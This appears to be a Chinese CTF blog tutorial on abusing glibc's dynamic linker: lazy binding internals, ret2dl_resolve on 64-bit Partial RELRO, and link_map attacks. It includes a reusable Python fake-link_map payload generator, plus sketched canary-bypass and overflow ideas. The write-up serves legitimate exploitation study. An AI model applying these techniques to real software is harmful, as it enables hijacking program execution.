关于ld在pwn中利用的学习

admin 7571 2026-08-26 15:30:36

看好了,ld之力是这样用的!

关于ld段谈到ld,资深pwn手一定不会陌生。作为glibc的动态链接器件,它担任着帮助程序完成动态链接的任务。

ld的利用常常被忽略(毕竟libc里面有更多资源,也更容易被利用)。但是有些时候尝试利用ld会有奇效。

之所以突然决定写这篇文章,是因为最近刚做一个偏门的ld库利用的题,就计划着做一个总结。

动态链接原理详解——ret2dl_resolve不只是抄板子这个技巧提出很久了,已经有很多人写过相关的博客,我这里重新整理一下。

首先我们需要再论一下ret2libc,我们知道程序使用库函数要进行重定位,因此程序中有got和plt两个表。call一个库函数时,程序会先跳转到plt表,plt表会取出对应got表中存的函数指针并跳转执行。ret2libc的两个核心用法:跳转至plt表执行库函数(或者使用csu中的call直接取got表指针)和利用got表进行libc地址泄露,就是基于这个机制。

但是我们在学习ret2libc的时候,有一个被忽略的问题,那就是绑定的过程,即库函数怎么在libc中被找到的。这个过程也就是ret2dl_resolve这一过程的关键。

再论elf结构首先,这个技巧只适用于延迟绑定,即RELRO没有开满的情况。如果程序的防护机制为Full RELRO,那么相关函数会提前绑定号,got表会变成只读,就不能进行延迟绑定,ret2dl_resolve也就无从谈起了。

这篇文章着重记录64位Partial RELRO的打法

所以我们需要简要分析ret2dl_resolve的过程,但是在此之前我需要介绍几个结构:

Elf64_Dyn12345678910111213141516typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; Elf32_Off d_off; } d_un;} Elf32_Dyn;//32位程序typedef struct { Elf64_Xword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un;} Elf64_Dyn;

这个段是由上述数据类型组成的一个表,记录了和重定位信息相关的数据项

d_tag表示类型,后面的联合体表示其数值(或者是地址,指向其他的段)

DT_STRTAB有一个特点是表中第一个字节为\x00。字符串表,存放函数名字符串。

这个表里存的都是需要重定位的函数名字,重定位操作一个关键就是根据这个字符串找对应函数的。

DT_SYMTAB这个是动态符号表

123456789typedef struct{ Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */} Elf64_Sym;

这个结构有好多的版本,不过基本都是这种六个变量的情况,名字换了罢了。

同样地,我们发现第一个表项也是空,这和STRTAB有点类似。

从第二个表项开始,每个的第一个元素值得注意,这是一个差值的形式,点进去可以发现这个其实就是字符串在STRTAB的偏移地址。

其他的成员暂时不用在意。

DT_JMPREL123456typedef struct{ Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */} Elf64_Rela;

这个结构比较关键,在IDA找到对应的表我们可以发现这个表分为了两个部分,上面的都是已经重定位过的函数,下面几项的是未重定位过的函数。

每一个表项对应一个函数,r_offset表项记录了其got表项地址。

r_info关系函数在got表项中的下标。可以看到在64位程序里,下标放在了高四个字节,低四个字节有一些类似于标志的东西。所有普通的库函数低位都是7。

第三个成员不知道有啥用,一般都是0,关系不大。

延迟绑定概述我们回顾一下学ret2libc时看过的延迟绑定的过程

这题的附件取自DASCTF 2023 11月的A sad story,我等会放在最后

plt表一般如下

12.plt.sec:00000000000010E0 F3 0F 1E FA endbr64.plt.sec:00000000000010E4 F2 FF 25 35 2F 00 00 bnd jmp cs:off_4020

可以看到jmp到了got的表项地址,但是我们知道got表只有经过了延迟绑定之后才能有函数地址。在此之前,got表里一般存的是这一个函数的地址:

1234.plt:0000000000001030 sub_1030 proc near.plt:0000000000001030 F3 0F 1E FA endbr64.plt:0000000000001034 68 00 00 00 00 push 0.plt:0000000000001039 F2 E9 E1 FF FF FF bnd jmp sub_1020

然后又跳到

123.plt:0000000000001020 ; __unwind {.plt:0000000000001020 FF 35 E2 2F 00 00 push cs:qword_4008.plt:0000000000001026 F2 FF 25 E3 2F 00 00 bnd jmp cs:qword_4010

可以看到这两个地方也是在plt,但是和别的plt表项不大一样。第一个代码段push了一个0,push和jmp的地址点击去发现是got表的0和1,其实这两项是在正序执行之后才装载进got表的。这两项分别是link_map地址和dl_runtime_resolve。

link_map是一个重要的结构,保存了以上几个重要重定位节的地址,这个结构应该在libc里面。

dl_runtime_resolve执行需要参数,这个函数的传参不是基于寄存器的,而是基于栈的,程序执行时会先把参数压栈,然后进入函数之后保存寄存器并将栈上的参数取出。它需要的参数就是push 0和push link_map_addr,也就是说参数分别为link_map地址和函数的一个“下标”

因此我们进行ret2dl_resolve的思路,就是伪造这两个参数并执行dl_runtime_resolve函数。

函数实现细节在讨论ret2dl_resolve攻击的细节之前,我们需要详细了解dl_runtime_resolve函数的实现。

dl_runtime_resolveglibc源码中并未找到这个函数,其实这个函数本身是一段汇编指令,实现的操作主要是保存相关寄存器,并调用_dl_fixup

_dl_fixup刚进入函数的时候代码如下。

12345678910111213141516171819DL_FIXUP_VALUE_TYPEattribute_hidden __attribute((noinline)) DL_ARCH_FIXUP_ATTRIBUTE_dl_fixup(#ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,#endif struct link_map *l, ElfW(Word) reloc_arg){ const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]); const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]); const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]); const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset(pltgot, reloc_arg)); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value;

D_PTR(a,b)这个宏等价于a->b,可以看到这里从link_map中的l_info成员内部取了好多的结构的地址。这几个结构,是elf文件的节头部表的表项的地址。

link_map是一个很大的结构,这里不放全了,需要的读者可以自己去/include/link.h中查阅

下面的分支,可以看到,函数通过STRTAB的偏移取到了要绑定的函数的名称字符串,并作为参数传进了_dl_lookup_symbol_x这个函数当中。这个函数的作用就是在libc中根据函数名搜索到对应函数,我们先不分析,只要先记住这个分支进入前提是sym->st_other为0,(sym正常情况下是elf中对应函数的symtab表项)

123456789101112131415161718192021222324252627282930313233343536373839404142434445if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG(); flags |= DL_LOOKUP_GSCOPE_LOCK; }#ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL;#endif result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG();#ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL;#endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE(result, SYMBOL_ADDRESS(result, sym, false)); }

另一个分支是ret2dl_resolve关注的重点,SYMBOL_ADDRESS这个宏会进行一个l->addr+sym->st_value的操作,并且将这个结果返回。

如果我们是劫持了程序执行流,在push了一个idx(一个已经绑定过的函数的下标)之后调用了push link_map,然后进行动态链接的话。假如我们控制程序走到了这个分支,在l->addr这里填入了两个函数的差值offset,那么程序就会找到got表项中存放的函数地址,然后相加,得到想劫持到的函数地址。这样就可以实现ret2dl_resolve

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true)); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value(l, reloc, value); if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));#ifdef SHARED /* Auditing checkpoint: we have a new binding. Provide the auditing libraries the possibility to change the value and tell us whether further auditing is wanted. The l_reloc_result is only allocated if there is an audit module which provides a la_symbind. */ if (l->l_reloc_result != NULL) { /* This is the address in the array where we store the result of previous relocations. */ struct reloc_result *reloc_result = &l->l_reloc_result[reloc_index(pltgot, reloc_arg, sizeof(PLTREL))]; unsigned int init = atomic_load_acquire(&reloc_result->init); if (init == 0) { _dl_audit_symbind(l, reloc_result, sym, &value, result); /* Store the result for later runs. */ if (__glibc_likely(!GLRO(dl_bind_not))) { reloc_result->addr = value; /* Guarantee all previous writes complete before init is updated. See CONCURRENCY NOTES below. */ atomic_store_release(&reloc_result->init, 1); } } else value = reloc_result->addr; }#endif /* Finally, fix up the plt itself. */ if (__glibc_unlikely(GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);}

板子放上一个fake_link_map生成器,我知道好多人是想来抄板子的。

64位Partial RELRO懒得写了,先写最重要的作为记录

伪造link_map

12345678910111213141516171819202122232425def create_link_map(l_addr,know_got,link_map_addr): link_map=p64(l_addr & (2 ** 64 - 1)) #dyn_relplt link_map+=p64(0) link_map+=p64(link_map_addr+0x18) #ptr2relplt #relplt link_map+=p64((know_got - l_addr)&(2**64-1)) link_map+=p64(0x7) link_map+=p64(0) #dyn_symtab link_map+=p64(0) link_map+=p64(know_got-0x8) link_map+=b'/flag\x00\x00\x00' link_map=link_map.ljust(0x68,b'B') link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr link_map=link_map.ljust(0xf8,b'C') link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr return link_map

这个函数可以构造link_map结构,参数第一个填libc.sym[target]-libc.sym[know],第二个填一个已知函数的got表地址,第三个填伪造的link_map地址

其中0xf8偏移为伪造的elf_dyn节中对应的JMPREL表项的地址,实际指向开头的一个位置,那里存着JMPREL的地址。0x68偏移为伪造的STRTAB表地址,0x70偏移为伪造的SYMTAB表项地址。

进行dl_runtime_resolve函数调用时,下标参数填0,link_map填伪造的link_map地址。

注意,dl_runtime_resolve函数使用时,会造成抬栈行为。这种题目往往会伴随栈迁移。因此需要靠后布置rop链和bss段,避免污染got表或者触发段错误。

同时,link_map的布置也应该远离rop链子。

link_map攻击我们可以直接攻击ld段内存放的link_map结构。当然这不意味着非要任一地址写。有时候mmap会在ld前面分配空间,如果有越界漏洞,就可以攻击ld结构。

ld上方的神秘的mmap段(挖坑待填)有时候mmap会把内存分配到ld上方固定偏移处。ld上方紧邻的地方也有一个不知何时通过mmap创建的段。,这个mmap的段内有时候可能有ld地址。

_dl_lookup_symbol_x细节剖析(挖坑待填)劫持strtab指针,篡改延迟绑定的函数名字

check_match(挖坑待填)从elf进行延迟绑定时候,elf文件内保存了当前函数的版本号(GLBC2.2.4这种)check_match会进行检查。经过测试,canary的报错函数和openat是一个版本。可以直接替换,以此绕过canary

上一篇
下一篇
相关文章